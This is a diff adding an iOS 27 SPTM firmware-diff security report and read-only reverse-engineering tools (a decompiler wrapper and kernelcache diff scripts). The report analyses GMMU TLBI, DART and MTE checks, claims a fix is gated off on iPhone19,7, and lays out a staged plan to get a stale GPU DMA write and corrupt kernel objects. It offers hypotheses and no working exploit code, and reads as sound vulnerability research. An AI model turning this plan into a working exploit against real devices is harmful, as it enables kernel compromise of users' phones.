`0xfffffff0270c7aac`, `0xfffffff0270c85f8`, `0xfffffff0270c987c`,
|
||||||
|
`0xfffffff0270cacf4` and `0xfffffff027109940`.
|
||||||
|
|
||||||
|
Function-level alignment makes the change concrete. The first TLBI function
|
||||||
|
(`0xfffffff0270c7aac`, **369 instructions**) matches a **264-instruction**
|
||||||
|
function at `0xfffffff0270b7a90` in 27.0.1 (prefix similarity 0.90). The 27.2
|
||||||
|
version inserts a block that:
|
||||||
|
|
||||||
|
1. reads `DAIF` and masks interrupts (`msr DAIFSet, #0x7`, `dsb sy`);
|
||||||
|
2. reads `CNTVCTSS_EL0` and `CNTFRQ_EL0` and computes a deadline;
|
||||||
|
3. loads a timeout constant (`0x3d40` = 15680 units) and the TLBI verification
|
||||||
|
register address;
|
||||||
|
4. polls/validates the GMMU TLBI completion, and only then continues.
|
||||||
|
|
||||||
|
The 27.0.1 function issues the invalidation and proceeds without that wait. This
|
||||||
|
is not a relocated instruction; it is an added completion check.
|
||||||
|
|
||||||
|
The DART violation names are not referenced by a direct `adr`/`adrp+add` — they
|
||||||
|
are indexed through a violation table, so their exact raiser is a table lookup.
|
||||||
|
The name itself is the evidence that 27.2 adds a check for the T8110 DART
|
||||||
|
"ungang GAPF" race.
|
||||||
|
|
||||||
|
## MIE / MTE surface
|
||||||
|
|
||||||
|
MIE is not a single binary. The relevant pieces are:
|
||||||
|
|
||||||
|
- **SPTM**: manages tag pages and checks `MTE tag page containing SK tags is
|
||||||
|
mapped`. The function is at `0xfffffff0270c6320` in 27.0.1 and
|
||||||
|
`0xfffffff0270d7028` in 27.2; both are exactly 210 instructions, same prologue
|
||||||
|
and same range-check shape (`subs` + `ccmp` against two globals). It was
|
||||||
|
relocated, not rewritten.
|
||||||
|
- **Kernel**: the MTE page allocator (`VM_KERN_MEMORY_MTAG`, taggable pages, MTE
|
||||||
|
fill thread) has the same strings in both builds; no new MTE logic appears in
|
||||||
|
the 62 new kernel strings.
|
||||||
|
- **Exclave core**: carries the PMM tag machinery (`pmmtag_l4_decode`,
|
||||||
|
`Conclave MTE tag check fault`, shared-memory tags), and grew by 229,376 B.
|
||||||
|
That is a separate firmware update; no CVE in the advisory names it.
|
||||||
|
|
||||||
|
So the MIE *policy* surface in SPTM and XNU is unchanged in 27.2. The only
|
||||||
|
MIE-adjacent code that changed is inside Exclave, which is a separate domain.
|
||||||
|
|
||||||
|
Related SPTM strings that were already present in 27.0.1 and remain:
|
||||||
|
|
||||||
|
- `%s: Dangling tag storage reference from previous mapping attempt`
|
||||||
|
- `%s: Found SK-owned memory in non-wired memory`
|
||||||
|
- `%s: dart %p (%s:%u): power down not permitted as SK still using the DART`
|
||||||
|
|
||||||
|
The dangling-tag check is a real state machine: a previous tag-storage mapping
|
||||||
|
attempt can leave a reference that SPTM detects later. It exists in both builds,
|
||||||
|
so it is not a 27.2 fix; it is an audit target.
|
||||||
|
|
||||||
|
### MTE check semantics (27.2, `0xfffffff0270d7028`)
|
||||||
|
|
||||||
|
The 210-instruction function is a PA-range gate, not a tag-value check:
|
||||||
|
|
||||||
|
```
|
||||||
|
x19 = page PA
|
||||||
|
if (x19 - [0xfffffff0270ae218] < ([0xfffffff0270ae220] - [0xfffffff0270ae218])) {
|
||||||
|
... state bit test ...
|
||||||
|
if (state bit) panic("%s: MTE tag page containing SK tags is mapped %#lx", x19)
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The comparison is on the physical address. An alias that maps the same physical tag
|
||||||
|
page at a different virtual address does not move the PA, so it does not avoid the
|
||||||
|
check. A bypass would need to make SPTM see a different PA for the same tag memory
|
||||||
|
(a page-table/IOMMU bug), or to corrupt the range globals / state bit — none of
|
||||||
|
which is present in the 27.2 diff. This is why the MTE line remains a hypothesis,
|
||||||
|
not a finding.
|
||||||
|
|
||||||
|
## Why Titan does not transfer
|
||||||
|
|
||||||
|
Titan (iOS 16.1–17.4b3, A14–A17) is not an SPTM logic bug. It uses:
|
||||||
|
|
||||||
|
1. AGX coprocessor code execution to overwrite the AGX `power` thread state;
|
||||||
|
2. the AGX hibernation context to restore a attacker-supplied `TTBR1_EL1` and a
|
||||||
|
second ROP stack (microPPL bypass);
|
||||||
|
3. a self-referencing page-table entry to map and write any physical page,
|
||||||
|
defeating PPL/SPTM.
|
||||||
|
|
||||||
|
Apple patched the AGX thread-state PAC in 18.1b4 and the TTBR restore in 17.4b4.
|
||||||
|
The 27.2 SPTM diff is not a return of that bug: it is DART/hibernation hardening
|
||||||
|
inside the monitor. A 27.2-era bypass would need a new primitive that can either
|
||||||
|
(a) make SPTM map a page table it does not protect, or (b) corrupt the tag/SK
|
||||||
|
metadata that SPTM trusts. There is no such primitive in the diff.
|
||||||
|
|
||||||
|
## Candidate bypass directions (hypotheses, not PoCs)
|
||||||
|
|
||||||
|
These are grounded in the 27.2 changes and the unchanged MIE checks. None is a
|
||||||
|
working exploit; each needs a reachable primitive that the firmware diff does
|
||||||
|
not supply.
|
||||||
|
|
||||||
|
0. **GMMU TLBI completion race (strongest static lead).** 27.0.1 lacks the
|
||||||
|
completion wait that 27.2 adds to the DART invalidation path. A DMA-capable
|
||||||
|
device whose translation is invalidated can keep using a stale GMMU entry if
|
||||||
|
the invalidation has not completed; the stale entry is a DMA read/write to a
|
||||||
|
page that SPTM has already unmapped or repurposed. This is an IOMMU bypass,
|
||||||
|
not a page-table permission bypass, but it defeats the same isolation goal.
|
||||||
|
Reachability requires a userclient that owns DART mappings and can keep DMA
|
||||||
|
in flight across an unmap — the next thing to test on hardware.
|
||||||
|
1. **DART unganged-GAPF race.** 27.2 adds a violation for a race between
|
||||||
|
unganging a DART and a page-table remap. On 27.0.1 the race can leave a stale
|
||||||
|
DART translation if a mapping is unganged while a PTE is remapped. A stale
|
||||||
|
IOMMU translation is a DMA read/write primitive to memory SPTM considers
|
||||||
|
protected. Reachability: a userclient that owns DART mappings (IOGPU, display,
|
||||||
|
NVMe, PCIe). This is the closest analogue to a "SPTM bypass", but it is an
|
||||||
|
IOMMU bypass, not a page-table permission bypass.
|
||||||
|
2. **Hibernation handoff page count.** 27.2 adds
|
||||||
|
`hib_header_copy->handoffPageCount < HIB_HANDOFF_PAGECOUNT_LIMIT` and the
|
||||||
|
NVMe hibernation queue latch violation. On 27.0.1 a corrupted hibernation
|
||||||
|
header could make SPTM restore from a handoff page it did not size-check.
|
||||||
|
Reachability: modifying the hibernation image or the NVMe queue, not an app.
|
||||||
|
3. **SK tag-page aliasing.** The SPTM check only rejects a tag page whose
|
||||||
|
physical address falls in the `[start,end)` range loaded from two globals. A
|
||||||
|
mapping that aliases the same physical tag page at a different PA, or a
|
||||||
|
remap that changes the range after the check, would let user-controlled tags
|
||||||
|
cover SK memory. That is an MIE bypass: forge the tag for an SK page, then
|
||||||
|
read/write it. Reachability: a kernel primitive that maps tag storage with a
|
||||||
|
user-influenced PA; not present in the 27.2 diff.
|
||||||
|
4. **Dangling tag-storage reference.** SPTM already detects a dangling
|
||||||
|
reference from a previous mapping attempt. A race between unmap and remap of
|
||||||
|
tag storage could leave the stale reference usable; the freed tag page could
|
||||||
|
be reallocated as a user tag page. Same MIE impact as (3).
|
||||||
|
|
||||||
|
## Verdict
|
||||||
|
|
||||||
|
- SPTM **did** change: 820.0.22 → 820.40.24, +64 KiB, DART/TLBI/hibernation
|
||||||
|
hardening. The kernel-side `__DATA_SPTM` being identical is not evidence that
|
||||||
|
SPTM is unchanged.
|
||||||
|
- No SPTM/MIE bypass is named in the 27.2 advisory, and no page-table permission
|
||||||
|
check was removed or weakened in the diff. The changes add checks.
|
||||||
|
- MIE policy in SPTM/XNU is unchanged; Exclave changed separately.
|
||||||
|
- A working bypass was **not** produced. The candidate paths above need a
|
||||||
|
reachable primitive (DART userclient, tag-storage mapping, or hibernation
|
||||||
|
image control) and a device session; writing one blind would be guesswork.
|
||||||
|
|
||||||
|
## Critical finding — the 27.2 TLBI verification is disabled on iPhone19,7
|
||||||
|
|
||||||
|
The check is conditional. SPTM's `uat_bootstrap_parse_dt` (27.2,
|
||||||
|
`0xfffffff0270cbe18`) reads the `/arm-io/sgx` node and looks up
|
||||||
|
`verify-gmmu-tlbis-at-sync`. The property-missing path is explicit:
|
||||||
|
|
||||||
|
```
|
||||||
|
0xfffffff0270cc184 adrp x8, 0xfffffff0270ae000
|
||||||
|
0xfffffff0270cc188 ldr x22, [x8, #0x208]
|
||||||
|
0xfffffff0270cc18c strb wzr, [x22, #0x81] ; verify flag = 0
|
||||||
|
0xfffffff0270cc190 ... continue parsing
|
||||||
|
```
|
||||||
|
|
||||||
|
So if the property is absent, the verification is **off**, not fatal.
|
||||||
|
|
||||||
|
Now the device mapping:
|
||||||
|
|
||||||
|
- `BuildManifest.plist` maps **iPhone19,7 → DeviceClass `v64sap`**.
|
||||||
|
- The 27.2 `DeviceTree.v64sap.im4p` (406,684 B decoded) contains
|
||||||
|
`agx-address-space-mgmt-mode`, `tlbi-aperture-offset`, `dart-options` and the
|
||||||
|
SAPT node, but **no** `verify-gmmu-tlbis-at-sync`,
|
||||||
|
`gmmu-tlbi-verification-reg` or `gmmu-tlbi-verification-bit`.
|
||||||
|
- The same strings are absent from the 27.2 iBoot, the AGX firmware, and the
|
||||||
|
whole kernelcache. They exist only in SPTM itself.
|
||||||
|
|
||||||
|
The iPad images the reference report analysed (`j817ap` / `j820ap`) do carry the
|
||||||
|
property, which is why beta3 looks fixed there. On iPhone19,7 the gate is
|
||||||
|
missing, so the 27.2 build executes the **beta2 behaviour**: AMXOP25 loop →
|
||||||
|
`dsb oshnxs` → clear pending count → continue, with the verification block
|
||||||
|
skipped.
|
||||||
|
|
||||||
|
### What this means
|
||||||
|
|
||||||
|
- Reachability on the final 27.2 v6x-pandia build is confirmed: the
|
||||||
|
`IOGPUFamily` kext still exports `IOGPUDeviceUserClient::s_new_resource`,
|
||||||
|
`s_submit_command_buffers`, `s_create_io_command_queue`,
|
||||||
|
`s_destroy_io_command_queue`, `s_perform_io`, `s_group_add_resources`,
|
||||||
|
`s_group_remove_resources`, `s_create_vniodesc`; the kernel still contains
|
||||||
|
`IOUAT doUnmap/queueUnmap/commitUnmaps/prepareFWUnmap`,
|
||||||
|
`uat_get_root_table_paddr`, `pmap_iommu_ioctl_internal` and
|
||||||
|
`sptm_check_sapt_is_writable`. So the user path from IOGPU to the SPTM UAT
|
||||||
|
unmap exists unchanged.
|
||||||
|
- Method handler addresses in the final v6x kext:
|
||||||
|
`IOGPUDeviceUserClient::s_new_resource` = `0xfffffe000a176094`,
|
||||||
|
`s_submit_command_buffers` = `0xfffffe000a176424`. Selector recovery is still
|
||||||
|
blocked: there is no direct `bl` to either handler and no raw/chained pointer
|
||||||
|
in the kext or the kernelcache; the dispatch is indirect and the table is
|
||||||
|
relocated at boot. Recovering the selector numbers needs a decompiler
|
||||||
|
(Ghidra/IDA/Hopper) or a live kernel view, neither of which is available here.
|
||||||
|
- On iPhone19,7, the GMMU TLBI completion window is **not closed by 27.2**.
|
||||||
|
The UAT unmap → data page freed → GMMU stale translation race remains.
|
||||||
|
- The fix is a code change plus a per-device DeviceTree gate; the gate is absent
|
||||||
|
on the iPhone 19,7 image. This is a fix-gating gap, not a new memory-safety bug.
|
||||||
|
- This makes the Titan-style end goal (data page → PAPT page → GPU stale write →
|
||||||
|
RO-zone writable alias) still applicable on an iPhone running 27.2, assuming
|
||||||
|
the rest of the chain is reachable.
|
||||||
|
|
||||||
|
Caveat: this is static evidence (parser + DT + BuildManifest + component search).
|
||||||
|
Runtime confirmation is a 27.2 iPhone boot with the DT dumped and the SPTM verify
|
||||||
|
flag read; that device was not available here. The 18PM in this lab is 27.0.1,
|
||||||
|
where the check does not exist at all.
|
||||||
|
|
||||||
|
### If the flag is present
|
||||||
|
|
||||||
|
If a future iPhone build adds the DT property, the check runs and the window
|
||||||
|
closes (panic `Failed to verify TLBI` on a still-pending GMMU TLBI). That is the
|
||||||
|
condition to test in the next firmware.
|
||||||
|
|
||||||
|
## Cutter / rz-ghidra decompilation
|
||||||
|
|
||||||
|
The open-source decompiler in Cutter 2.5.0 (`rizin` + `rz-ghidra`, no Java) was used
|
||||||
|
to confirm the two key functions. Raw `__TEXT_EXEC,__text` is loaded as ARM64, and
|
||||||
|
`retab` is patched to `ret` in a copy so the decompiler does not truncate.
|
||||||
|
|
||||||
|
MTE SK tag-page check (`0xfffffff0270d7028`, raw offset `0x23028`):
|
||||||
|
|
||||||
|
```c
|
||||||
|
if ((uint64_t)arg1 < *(uint64_t *)0xffffffffffffa218 ||
|
||||||
|
*(uint64_t *)0xffffffffffffa220 <= (uint64_t)arg1) {
|
||||||
|
func_0x0004b2ac(arg1); // outside the SK tag-page PA range: normal path
|
||||||
|
}
|
||||||
|
// inside the range: panic "MTE tag page containing SK tags is mapped"
|
||||||
|
```
|
||||||
|
|
||||||
|
TLBI completion path (`0xfffffff0270c7aac`, raw offset `0x13aac`): the decompiler
|
||||||
|
shows the verification state being read (`uVar15 >> bit & 1`), a countdown
|
||||||
|
(`uVar14`), and the GMMU invalidation issued through a code pointer inside the
|
||||||
|
loop; 27.0.1 lacks this block (function 264 vs 369 instructions).
|
||||||
|
|
||||||
|
The IOGPU method handlers (`s_new_resource` at raw offset `0x70a4`,
|
||||||
|
`s_submit_command_buffers` at `0x7434`) are PAC-heavy and the decompiler truncates
|
||||||
|
at the first `pacibsppc`/`braa`; disassembly is still available, but selector
|
||||||
|
recovery needs the dispatch table or a live kernel.
|
||||||
|
|
||||||
|
## Verification plan — GMMU TLBI completion race
|
||||||
|
|
||||||
|
The static delta is real, but exploitability depends on keeping a DART client's
|
||||||
|
DMA in flight across an unmap. The test is hardware-only; it is written down here
|
||||||
|
so the next session does not have to rediscover the shape.
|
||||||
|
|
||||||
|
Target: a disposable 27.0.1 device (vulnerable) and a 27.2 device (control).
|
||||||
|
|
||||||
|
Primitive needed: an IOGPU userclient plus IOSurface/metal command buffers. The
|
||||||
|
kernel DART and IOGPU kexts are unchanged in 27.2 (IOGPU only gained a
|
||||||
|
`systemPagingOff()` timeout diagnostic), so the user-reachable map/unmap path is
|
||||||
|
the same on both builds; the fix lives inside SPTM.
|
||||||
|
|
||||||
|
Steps:
|
||||||
|
|
||||||
|
1. Allocate a page-aligned IOSurface `S`, fill it with a canary, map it through
|
||||||
|
IOGPU, and record its physical pages if the API exposes them.
|
||||||
|
2. Submit a long-running GPU write into `S` (a compute shader that keeps writing
|
||||||
|
a pattern for several milliseconds).
|
||||||
|
3. While the GPU work is in flight, unmap/free `S` through IOGPU so the DART
|
||||||
|
entry is invalidated. On 27.0.1 the invalidation is not completion-checked.
|
||||||
|
4. Immediately allocate a fresh page `P` (user or kernel object) and fill it with
|
||||||
|
a different canary. If the GPU's writes land in `P`, the GMMU entry survived
|
||||||
|
the unmap: a stale DMA write primitive.
|
||||||
|
5. Escalate only after step 4 is observed: reuse `P` as a kernel object with a
|
||||||
|
pointer field and use the GPU write to corrupt it.
|
||||||
|
|
||||||
|
Success criterion: a write to `P` after `S` was unmapped, reproducible on 27.0.1
|
||||||
|
and absent on 27.2. A GPU timeout or a single crash is not success; the canary
|
||||||
|
difference is.
|
||||||
|
|
||||||
|
Safety: run with the phone's panic log enabled, one stage at a time, and stop on
|
||||||
|
the first unexpected kernel panic. The harness must journal the stage before the
|
||||||
|
unmap (same pattern as Cinder27's GuardJournal).
|
||||||
|
|
||||||
|
## Verification plan — MIE tag storage
|
||||||
|
|
||||||
|
The SPTM `MTE tag page containing SK tags` check is unchanged, so a bypass here
|
||||||
|
would be a new bug, not a 27.2 regression. It needs a kernel primitive that maps
|
||||||
|
tag storage with a caller-influenced physical address (or a dangling tag-storage
|
||||||
|
reference). The 27.2 diff does not expose such a primitive. The audit order is:
|
||||||
|
|
||||||
|
1. Find the kernel callers of the SPTM tag-storage map/unmap operations (the
|
||||||
|
kernel MTE allocator, `VM_KERN_MEMORY_MTAG`).
|
||||||
|
2. Check whether the PA is derived from a user-controlled IOSurface/descriptor.
|
||||||
|
3. If yes, attempt an alias (map the same PA at a different address) and see
|
||||||
|
whether the SPTM range check still rejects it.
|
||||||
|
4. If the check is bypassed, forge the tag for an SK page and read/write it.
|
||||||
|
|
||||||
|
Until step 1 yields a user-influenced PA, this remains a hypothesis.
|
||||||
|
|
||||||
|
## Reproduce
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 tools/ipsw/remote_ipsw.py extract <url> sptm work/fw/27.2-sptm.im4p
|
||||||
|
python3 tools/ipsw/ipswlib.py kernel ... # IM4P/LZFSE decode
|
||||||
|
python3 tools/string_xref.py work/fw/27.2-sptm.bin "Failed to verify TLBI"
|
||||||
|
python3 tools/fw_diff.py work/fw/27.0.1-sptm.bin work/fw/27.2-sptm.bin
|
||||||
|
```
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
# ARM64 decompiler (Cutter / rizin / rz-ghidra)
|
||||||
|
|
||||||
|
IDA Pro is commercial; this uses the open-source decompiler bundled with Cutter 2.5.0
|
||||||
|
(`/Applications/Cutter.app`). No Java is involved, so it works on macOS 27 where the
|
||||||
|
Ghidra JVM crashes in CodeHeap.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
tools/decompiler/decompile.sh <raw-arm64-text.bin> <function-offset-hex>
|
||||||
|
```
|
||||||
|
|
||||||
|
Raw blobs are the `__TEXT_EXEC,__text` section of a Mach-O (see
|
||||||
|
`tools/ipsw/ipswlib.py` for extraction). `SLEIGHHOME` is set to the bundled
|
||||||
|
`rz_ghidra_sleigh` specs; without it rz-ghidra reports "No sleigh specification".
|
||||||
|
|
||||||
|
Limitations: PAC instructions (`pacibsp`, `retab`) and some pointer-auth branches
|
||||||
|
truncate the decompiler output. Patch `retab` (0xd65f0fff) to `ret` (0xd65f03c0) in
|
||||||
|
a copy of the blob before decompiling; keep the original for ground truth.
|
||||||
Executable
+8
@@ -0,0 +1,8 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Decompile one function from a raw ARM64 blob with Cutter's rz-ghidra.
|
||||||
|
# usage: decompile.sh <raw.bin> <offset-hex> [sleighhome]
|
||||||
|
set -e
|
||||||
|
RZ=/Applications/Cutter.app/Contents/Resources/bin/rizin
|
||||||
|
export DYLD_LIBRARY_PATH=/Applications/Cutter.app/Contents/Resources/lib
|
||||||
|
export SLEIGHHOME=${3:-/Applications/Cutter.app/Contents/Resources/lib/rizin/plugins/rz_ghidra_sleigh}
|
||||||
|
"$RZ" -a arm -b 64 -e scr.color=0 -q -c "s $2; af; pdg" "$1"
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
# IPSW kernel-diff toolkit
|
||||||
|
|
||||||
|
Read-only helpers used for the 27.0.1 → 27.2 kernel comparison in
|
||||||
|
[`docs/IOS27.2-KERNEL-DIFF.md`](../../docs/IOS27.2-KERNEL-DIFF.md).
|
||||||
|
|
||||||
|
| Script | Purpose |
|
||||||
|
|---|---|
|
||||||
|
| `remote_ipsw.py` | HTTP-Range ZIP reader: list/extract a member without downloading the whole IPSW |
|
||||||
|
| `ipswlib.py` | IM4P/LZFSE decode, Mach-O/fileset parse, cstring extraction |
|
||||||
|
| `extract_kext.py` | dump one fileset entry as a standalone Mach-O (linkedit offsets rebased) |
|
||||||
|
| `disasm_diff.py` | normalized `llvm-objdump` instruction diff for two kexts |
|
||||||
|
| `diff_kernel.py` | kext-level diff (bundle id, size, strings, function hashes) |
|
||||||
|
| `map_advisory.py` | advisory CVE list → component/binary candidate table |
|
||||||
|
|
||||||
|
Requirements: Python 3, `pip install lzfse macholib`, Xcode command line tools
|
||||||
|
(`llvm-objdump`). Nothing writes to a device.
|
||||||
@@ -0,0 +1,163 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Diff two prelinked kernelcaches (27.0.1 vs 27.2) at kext and function level.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python3 diff_kernel.py <a.ipsw> <a-member> <b.ipsw> <b-member> [outdir]
|
||||||
|
|
||||||
|
Outputs:
|
||||||
|
kexts.json per-kext uuid/text hash/bundle id for both builds
|
||||||
|
changed.txt human-readable summary
|
||||||
|
strings-<id>.txt string adds/removes for changed kexts
|
||||||
|
"""
|
||||||
|
import hashlib
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import sys
|
||||||
|
import zipfile
|
||||||
|
|
||||||
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
import ipswlib
|
||||||
|
|
||||||
|
|
||||||
|
def ascii_strings(data, minlen=6):
|
||||||
|
out = []
|
||||||
|
cur = bytearray()
|
||||||
|
for b in data:
|
||||||
|
if 32 <= b < 127:
|
||||||
|
cur.append(b)
|
||||||
|
else:
|
||||||
|
if len(cur) >= minlen:
|
||||||
|
out.append(cur.decode("ascii", "ignore"))
|
||||||
|
cur = bytearray()
|
||||||
|
if len(cur) >= minlen:
|
||||||
|
out.append(cur.decode("ascii", "ignore"))
|
||||||
|
return out
|
||||||
|
|
||||||
|
|
||||||
|
BID_RE = re.compile(r"^com\.apple\.[A-Za-z0-9_.-]{4,}$")
|
||||||
|
|
||||||
|
|
||||||
|
def bundle_id(m):
|
||||||
|
"""Heuristic: the kext identifier is the longest com.apple.* string in __TEXT."""
|
||||||
|
cands = [s for s in ascii_strings(m.text_bytes()) if BID_RE.match(s)]
|
||||||
|
cands.sort(key=lambda s: (-s.count("."), -len(s)))
|
||||||
|
return cands[0] if cands else None
|
||||||
|
|
||||||
|
|
||||||
|
def func_hashes(m):
|
||||||
|
starts = m.function_offsets()
|
||||||
|
text = m.text_bytes()
|
||||||
|
t = m.text_segment()
|
||||||
|
out = []
|
||||||
|
for i, addr in enumerate(starts):
|
||||||
|
end = starts[i + 1] if i + 1 < len(starts) else t["vmaddr"] + t["vmsize"]
|
||||||
|
off = m.vm_to_file(addr)
|
||||||
|
endoff = m.vm_to_file(end)
|
||||||
|
if off is None or endoff is None or endoff < off:
|
||||||
|
continue
|
||||||
|
chunk = m.data[off:endoff]
|
||||||
|
out.append((addr, hashlib.sha256(chunk).hexdigest()[:16], len(chunk)))
|
||||||
|
return out
|
||||||
|
|
||||||
|
|
||||||
|
def load(ipsw, member):
|
||||||
|
data = ipswlib.read_kernelcache(ipsw, member)
|
||||||
|
ms = ipswlib.scan_machos(data)
|
||||||
|
rows = []
|
||||||
|
for m in ms:
|
||||||
|
rows.append({
|
||||||
|
"uuid": m.uuid,
|
||||||
|
"cpu": ipswlib.CPU_NAMES.get(m.cputype, hex(m.cputype)),
|
||||||
|
"bid": bundle_id(m),
|
||||||
|
"text_sha": hashlib.sha256(m.text_bytes()).hexdigest()[:16],
|
||||||
|
"text_size": len(m.text_bytes()),
|
||||||
|
"nfuncs": len(m.function_offsets()) if m.function_starts else 0,
|
||||||
|
"_m": m,
|
||||||
|
})
|
||||||
|
return data, rows
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
a_ipsw, a_mem, b_ipsw, b_mem = sys.argv[1:5]
|
||||||
|
outdir = sys.argv[5] if len(sys.argv) > 5 else "work/kernel-diff"
|
||||||
|
os.makedirs(outdir, exist_ok=True)
|
||||||
|
|
||||||
|
print("== extracting", a_mem)
|
||||||
|
a, ra = load(a_ipsw, a_mem)
|
||||||
|
print("== extracting", b_mem)
|
||||||
|
b, rb = load(b_ipsw, b_mem)
|
||||||
|
|
||||||
|
def index(rows):
|
||||||
|
by_bid = {}
|
||||||
|
no_bid = []
|
||||||
|
for r in rows:
|
||||||
|
if r["bid"]:
|
||||||
|
by_bid.setdefault(r["bid"], []).append(r)
|
||||||
|
else:
|
||||||
|
no_bid.append(r)
|
||||||
|
return by_bid, no_bid
|
||||||
|
|
||||||
|
ia, na = index(ra)
|
||||||
|
ib, nb = index(rb)
|
||||||
|
|
||||||
|
changed, added, removed, same = [], [], [], []
|
||||||
|
for bid in sorted(set(ia) | set(ib)):
|
||||||
|
la = ia.get(bid, [])
|
||||||
|
lb = ib.get(bid, [])
|
||||||
|
if la and lb:
|
||||||
|
# pair in order; usually one Mach-O per kext
|
||||||
|
for x, y in zip(la, lb):
|
||||||
|
if x["uuid"] == y["uuid"] and x["text_sha"] == y["text_sha"]:
|
||||||
|
same.append(bid)
|
||||||
|
else:
|
||||||
|
changed.append((bid, x, y))
|
||||||
|
elif la:
|
||||||
|
removed += [bid]
|
||||||
|
else:
|
||||||
|
added += [bid]
|
||||||
|
|
||||||
|
lines = []
|
||||||
|
lines.append(f"kexts: a={len(ra)} b={len(rb)} same={len(same)} changed={len(changed)} added={len(added)} removed={len(removed)}")
|
||||||
|
lines.append("")
|
||||||
|
for bid, x, y in changed:
|
||||||
|
lines.append(f"CHANGED {bid}: uuid {x['uuid']} -> {y['uuid']} text {x['text_size']} -> {y['text_size']} funcs {x['nfuncs']} -> {y['nfuncs']}")
|
||||||
|
for bid in added:
|
||||||
|
lines.append(f"ADDED {bid}")
|
||||||
|
for bid in removed:
|
||||||
|
lines.append(f"REMOVED {bid}")
|
||||||
|
open(os.path.join(outdir, "changed.txt"), "w").write("\n".join(lines) + "\n")
|
||||||
|
print("\n".join(lines[:80]))
|
||||||
|
|
||||||
|
# string + function diff for changed kexts
|
||||||
|
for bid, x, y in changed:
|
||||||
|
ma = x["_m"]
|
||||||
|
mb = y["_m"]
|
||||||
|
sa = set(ascii_strings(ma.text_bytes(), 8))
|
||||||
|
sb = set(ascii_strings(mb.text_bytes(), 8))
|
||||||
|
new = sorted(sb - sa)
|
||||||
|
gone = sorted(sa - sb)
|
||||||
|
safe = bid.replace("/", "_")
|
||||||
|
with open(os.path.join(outdir, f"strings-{safe}.txt"), "w") as f:
|
||||||
|
f.write(f"# {bid}\n## new strings ({len(new)})\n")
|
||||||
|
for s in new[:400]:
|
||||||
|
f.write(s + "\n")
|
||||||
|
f.write(f"\n## removed strings ({len(gone)})\n")
|
||||||
|
for s in gone[:200]:
|
||||||
|
f.write(s + "\n")
|
||||||
|
fa = func_hashes(ma)
|
||||||
|
fb = func_hashes(mb)
|
||||||
|
changed_funcs = sum(1 for p, q in zip(fa, fb) if p[1] != q[1])
|
||||||
|
lines.append(f" {bid}: functions {len(fa)} -> {len(fb)}, hash-changed in common prefix {changed_funcs}")
|
||||||
|
|
||||||
|
open(os.path.join(outdir, "changed.txt"), "w").write("\n".join(lines) + "\n")
|
||||||
|
json.dump([
|
||||||
|
{"bid": bid, "a": {k: v for k, v in x.items() if not k.startswith("_")},
|
||||||
|
"b": {k: v for k, v in y.items() if not k.startswith("_")}}
|
||||||
|
for bid, x, y in changed
|
||||||
|
], open(os.path.join(outdir, "kexts-changed.json"), "w"), indent=1)
|
||||||
|
print("wrote", outdir)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,54 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Disassembly diff for two standalone Mach-O kexts (same bundle id, two builds).
|
||||||
|
|
||||||
|
Usage: python3 disasm_diff.py <a.macho> <b.macho> [max_lines]
|
||||||
|
Normalizes branch targets and absolute addresses so the diff shows real
|
||||||
|
instruction changes rather than layout noise.
|
||||||
|
"""
|
||||||
|
import difflib
|
||||||
|
import re
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
|
||||||
|
ADDR = re.compile(r"\b[0-9a-f]{8,16}\b")
|
||||||
|
|
||||||
|
|
||||||
|
def disasm(path):
|
||||||
|
p = subprocess.run(["xcrun", "llvm-objdump", "--disassemble", path],
|
||||||
|
capture_output=True, text=True)
|
||||||
|
lines = []
|
||||||
|
for line in p.stdout.splitlines():
|
||||||
|
m = re.match(r"^\s*([0-9a-f]{8,16}):\s+([0-9a-f ]+?)\s{2,}(\S.*)$", line)
|
||||||
|
if not m:
|
||||||
|
continue
|
||||||
|
ins = m.group(3).strip()
|
||||||
|
ins = re.sub(r"0x[0-9a-f]{6,}", "0xADDR", ins)
|
||||||
|
ins = re.sub(r"#0x[0-9a-f]{4,}", "#0xIMM", ins)
|
||||||
|
lines.append(ins)
|
||||||
|
return lines
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
a, b = sys.argv[1], sys.argv[2]
|
||||||
|
limit = int(sys.argv[3]) if len(sys.argv) > 3 else 400
|
||||||
|
la, lb = disasm(a), disasm(b)
|
||||||
|
print(f"# {a}: {len(la)} insns")
|
||||||
|
print(f"# {b}: {len(lb)} insns")
|
||||||
|
sm = difflib.SequenceMatcher(a=la, b=lb, autojunk=False)
|
||||||
|
shown = 0
|
||||||
|
for tag, i1, i2, j1, j2 in sm.get_opcodes():
|
||||||
|
if tag == "equal":
|
||||||
|
continue
|
||||||
|
if shown >= limit:
|
||||||
|
print("... truncated")
|
||||||
|
break
|
||||||
|
print(f"\n## {tag} a[{i1}:{i2}] b[{j1}:{j2}]")
|
||||||
|
for x in la[i1:i2][:14]:
|
||||||
|
print(" - " + x)
|
||||||
|
for x in lb[j1:j2][:14]:
|
||||||
|
print(" + " + x)
|
||||||
|
shown += 1
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,67 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Extract one fileset entry (kext) from a kernelcache into a standalone Mach-O.
|
||||||
|
|
||||||
|
Usage: python3 extract_kext.py <kernel> <entries.json> <bundle-id> <out.macho>
|
||||||
|
"""
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import struct
|
||||||
|
import sys
|
||||||
|
|
||||||
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
import ipswlib
|
||||||
|
|
||||||
|
LC_SEGMENT_64 = 0x19
|
||||||
|
|
||||||
|
